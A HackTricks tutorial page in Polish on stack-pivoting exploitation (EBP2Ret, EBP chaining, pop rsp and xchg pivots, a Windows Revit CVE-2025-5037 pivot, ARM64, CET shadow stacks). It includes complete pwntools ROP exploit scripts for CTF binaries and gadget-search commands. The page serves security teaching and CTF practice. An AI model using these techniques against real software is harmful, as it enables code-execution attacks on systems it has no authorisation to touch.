Stack Pivoting
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
Technika ta wykorzystuje możliwość manipulowania Base Pointer (EBP/RBP) do łączenia wykonywania wielu funkcji poprzez ostrożne użycie frame pointer i sekwencji instrukcji leave; ret.
Przypomnienie: na x86/x86-64 instrukcja leave jest równoważna:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
A ponieważ zapisany EBP/RBP znajduje się na stosie przed zapisanym EIP/RIP, można go kontrolować przez kontrolę stosu.
Uwagi
- Na 64-bit zastąp EBP→RBP i ESP→RSP. Semantyka jest taka sama.
- Niektóre kompilatory pomijają frame pointer (zobacz „EBP might not be used”). W takim przypadku
leavemoże nie występować i ta technika nie zadziała.
EBP2Ret
Ta technika jest szczególnie użyteczna, gdy możesz zmodyfikować zapisany EBP/RBP, ale nie masz bezpośredniego sposobu, by zmienić EIP/RIP. Wykorzystuje zachowanie epilogu funkcji.
Jeśli podczas wykonywania fvuln uda Ci się wstrzyknąć na stos fake EBP, który wskazuje na obszar pamięci zawierający adres Twojego shellcode/łańcucha ROP (plus 8 bajtów na amd64 / 4 bajty na x86, aby uwzględnić pop), możesz pośrednio kontrolować RIP. Gdy funkcja zwraca, leave ustawia RSP na spreparowaną lokację, a następny pop rbp zmniejsza RSP, efektywnie powodując, że wskaźnik będzie wskazywał na adres umieszczony tam przez atakującego. Następnie ret użyje tego adresu.
Zauważ, że musisz znać 2 adresy: adres, pod który trafi ESP/RSP, oraz wartość przechowywaną pod tym adresem, którą ret wykorzysta.
Budowa exploita
Najpierw musisz znać adres, pod który możesz zapisać dowolne dane/adresy. RSP wskaże tam i skonsumuje pierwszy ret.
Następnie musisz wybrać adres używany przez ret, który przeniesie wykonanie. Możesz użyć:
- Poprawnego adresu ONE_GADGET.
- Adresu
system()następnego odpowiednim adresem powrotu i argumentami (na x86:rettarget =&system, potem 4 bajty śmieci, potem&"/bin/sh"). - Adresu gadżetu
jmp esp;(ret2esp) z następującym inline shellcode. - ROP chain umieszczonego w pamięci zapisywalnej.
Pamiętaj, że przed którymkolwiek z tych adresów w kontrolowanym obszarze musi być miejsce dla pop ebp/rbp z leave (8B na amd64, 4B na x86). Możesz wykorzystać te bajty, aby ustawić drugi fake EBP i utrzymać kontrolę po powrocie pierwszego wywołania.
Off-By-One Exploit
Istnieje wariant używany, gdy możesz modyfikować tylko najmniej znaczący bajt zapisanych EBP/RBP. W takim przypadku lokalizacja pamięci przechowująca adres, na który ma skoczyć ret, musi dzielić pierwsze trzy/pięć bajtów z oryginalnym EBP/RBP, aby nadpisanie 1 bajtem mogło przekierować wykonanie. Zwykle zwiększa się bajt najmniej znaczący (offset 0x00), aby skoczyć jak najdalej w ramach pobliskiej strony/wyrównanego regionu.
Często stosuje się też RET sled na stosie i umieszcza prawdziwy łańcuch ROP na końcu, aby zwiększyć prawdopodobieństwo, że nowe RSP wskaże wewnątrz sled i ostateczny łańcuch ROP zostanie wykonany.
EBP Chaining
Poprzez umieszczenie kontrolowanego adresu w zapisie EBP na stosie oraz gadżetu leave; ret w EIP/RIP, można przenieść ESP/RSP na adres kontrolowany przez atakującego.
Teraz RSP jest kontrolowany, a następna instrukcja to ret. Umieść w kontrolowanej pamięci coś takiego:
&(next fake EBP)-> Załadowane przezpop ebp/rbpzleave.&system()-> Wywołane przezret.&(leave;ret)-> Po zakończeniusystemprzesuwa RSP do następnego fake EBP i kontynuuje.&("/bin/sh")-> Argument dlasystem.
W ten sposób można połączyć kilka fake EBP, aby kontrolować przepływ programu.
To jest podobne do ret2lib, ale bardziej złożone i przydatne tylko w skrajnych przypadkach.
Ponadto tutaj masz example of a challenge, które używa tej techniki z stack leak, aby wywołać funkcję zwycięstwa. To jest finalny payload ze strony:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 alignment tip: System V ABI wymaga 16-bajtowego wyrównania stosu przy wywołaniach. Jeśli twój chain wywołuje funkcje takie jak
system, dodaj alignment gadget (np.ret, lubsub rsp, 8 ; ret) przed wywołaniem, aby zachować wyrównanie i uniknąć awariimovaps.
EBP może nie być używany
As explained in this post, jeśli binarka jest skompilowana z pewnymi optymalizacjami lub z pominięciem frame pointera, to EBP/RBP never controls ESP/RSP. W związku z tym każdy exploit polegający na kontrolowaniu EBP/RBP zawiedzie, ponieważ prologue/epilogue nie przywraca ze wskaźnika ramki.
- Brak optymalizacji / używany frame pointer:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Zoptymalizowano / wskaźnik ramki pominięty:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
Na amd64 często zobaczysz pop rbp ; ret zamiast leave ; ret, ale jeśli frame pointer jest całkowicie pominięty, to nie ma epilogu opartego na rbp, przez który można by pivotować.
Inne sposoby kontrolowania RSP
pop rsp gadget
Na tej stronie znajdziesz przykład użycia tej techniki. W tym zadaniu trzeba było wywołać funkcję z 2 konkretnymi argumentami, był tam pop rsp gadget i występował leak ze stosu:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Sprawdź technikę ret2esp tutaj:
Szybkie znajdowanie pivot gadgets
Użyj swojego ulubionego gadget findera, aby wyszukać klasyczne pivot primitives:
leave ; retw funkcjach lub w bibliotekachpop rsp/xchg rax, rsp ; retadd rsp, <imm> ; ret(lubadd esp, <imm> ; retna x86)
Przykłady:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Klasyczny wzorzec pivot stagingu
Solidna strategia pivot używana w wielu CTFs/exploits:
- Użyj niewielkiego początkowego overflowu, aby wywołać
read/recvdo dużego zapisywalnego regionu (np..bss, heap, lub zmapowanej pamięci RW) i umieść tam pełny ROP chain. - Zwróć kontrolę do pivot gadgetu (
leave ; ret,pop rsp,xchg rax, rsp ; ret), aby przenieść RSP do tego regionu. - Kontynuuj ze staged chain (np. leak libc, wywołaj
mprotect, potemreadshellcode i skocz do niego).
Windows: Destructor-loop weird-machine pivots (Revit RFA studium przypadku)
Parsery po stronie klienta czasami implementują destructor loops, które pośrednio wywołują function pointer pochodzący z pól obiektu kontrolowanych przez atakującego. Jeśli każda iteracja oferuje dokładnie jedno pośrednie wywołanie (a “one-gadget” machine), można to zamienić w niezawodny stack pivot i ROP entry.
Zaobserwowano w Autodesk Revit RFA deserialization (CVE-2025-5037):
- Crafted objects of type
AStringplace a pointer to attacker bytes at offset 0. - The destructor loop effectively executes one gadget per object:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
Two practical pivots:
- Windows 10 (32-bit heap addrs): nieprawidłowo wyrównany “monster gadget” zawierający
8B E0→mov esp, eax, kończący się ostatecznieret, służący do pivotowania z call primitive do heap-based ROP chain. - Windows 11 (full 64-bit addrs): użyj dwóch obiektów, aby wywołać constrained weird-machine pivot:
- Gadget 1:
push rax ; pop rbp ; ret(przenosi oryginalny rax do rbp) - Gadget 2:
leave ; ... ; ret(staje sięmov rsp, rbp ; pop rbp ; ret), pivotując do bufora pierwszego obiektu, gdzie następuje konwencjonalny ROP chain.
Tips for Windows x64 after the pivot:
- Respect the 0x20-byte shadow space and maintain 16-byte alignment before
callsites. It’s often convenient to place literals above the return address and use a gadget likelea rcx, [rsp+0x20] ; call raxfollowed bypop rax ; retto pass stack addresses without corrupting control flow. - Non-ASLR helper modules (if present) provide stable gadget pools and imports such as
LoadLibraryW/GetProcAddressto dynamically resolve targets likeucrtbase!system. - Creating missing gadgets via a writable thunk: if a promising sequence ends in a
callthrough a writable function pointer (e.g., DLL import thunk or function pointer in .data), overwrite that pointer with a benign single-step likepop rax ; ret. The sequence then behaves like it ended withret(e.g.,mov rdx, rsi ; mov rcx, rdi ; ret), which is invaluable to load Windows x64 arg registers without clobbering others.
For full chain construction and gadget examples, see the reference below.
Nowoczesne mechanizmy łamiące stack pivoting (CET/Shadow Stack)
Nowoczesne procesory x86 i systemy operacyjne coraz częściej wdrażają CET Shadow Stack (SHSTK). Przy włączonym SHSTK, ret porównuje adres powrotu na normalnym stosie z hardware’owo chronionym shadow stack; każda niezgodność powoduje Control-Protection fault i kończy proces. Dlatego techniki takie jak EBP2Ret/leave;ret-based pivots spowodują crash natychmiast po wykonaniu pierwszego ret ze stacka po pivotowaniu.
- For background and deeper details see:
- Szybkie kontrole na Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Notatki do labów/CTF:
-
Niektóre nowoczesne dystrybucje włączają SHSTK dla binariów kompatybilnych z CET, jeśli sprzęt i glibc na to pozwalają. Do kontrolowanych testów w VMach, SHSTK można wyłączyć globalnie przez parametr bootowania kernela
nousershstk, lub selektywnie włączyć przez glibc tunables podczas startu (zob. referencje). Nie wyłączaj mechanizmów łagodzących na celach produkcyjnych. -
Techniki oparte na JOP/COOP lub SROP mogą być nadal wykonalne na niektórych celach, ale SHSTK konkretnie łamie pivoty oparte na
ret. -
Uwaga Windows: Windows 10+ udostępnia user-mode, a Windows 11 dodaje kernel-mode “Hardware-enforced Stack Protection” oparte na shadow stacks. Procesy kompatybilne z CET zapobiegają stack pivoting/ROP przy
ret; deweloperzy mogą się opt-in poprzez CETCOMPAT i powiązane polityki (zob. referencję).
ARM64
W ARM64, prologue i epilogi funkcji nie zapisują ani nie odczytują rejestru SP na stosie. Co więcej, instrukcja RET nie zwraca na adres wskazywany przez SP, lecz na adres zawarty w x30.
Dlatego domyślnie, samo nadużycie epilogu nie pozwoli ci kontrolować rejestru SP przez nadpisanie danych na stosie. Nawet jeśli uda ci się kontrolować SP, nadal będziesz potrzebował sposobu, aby kontrolować rejestr x30.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
Caution
Sposób wykonania czegoś podobnego do stack pivoting w ARM64 polegałby na możliwości kontrolowania
SP(poprzez kontrolę jakiegoś rejestru, którego wartość jest przekazywana doSPlub dlatego, że z jakiegoś powoduSPpobiera swój adres ze stosu i mamy overflow) i następnie nadużyć epilogu aby załadować rejestrx30z kontrolowanegoSPi wykonać na niegoRET.
Also in the following page you can see the equivalent of Ret2esp in ARM64:
Referencje
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64-bitowy, eksploatacja typu off-by-one z rop chain zaczynającym się od ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64-bitowy, bez relro, canary, nx i pie. Program udostępnia leak dla stack lub pie oraz WWW qword. Najpierw zdobądź leak stosu i użyj WWW, aby cofnąć się i uzyskać leak pie. Następnie użyj WWW do stworzenia “wiecznej” pętli wykorzystując wpisy
.fini_array+ wywołując__libc_csu_fini(więcej info tutaj). Nadużywając tego „wiecznego” zapisu, zostaje zapisany ROP chain w .bss i ostatecznie zostaje on wywołany pivotując z RBP. - Dokumentacja jądra Linux: Control-flow Enforcement Technology (CET) Shadow Stack — szczegóły dotyczące SHSTK,
nousershstk, flag w/proc/$PID/statusoraz włączania przezarch_prctl. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


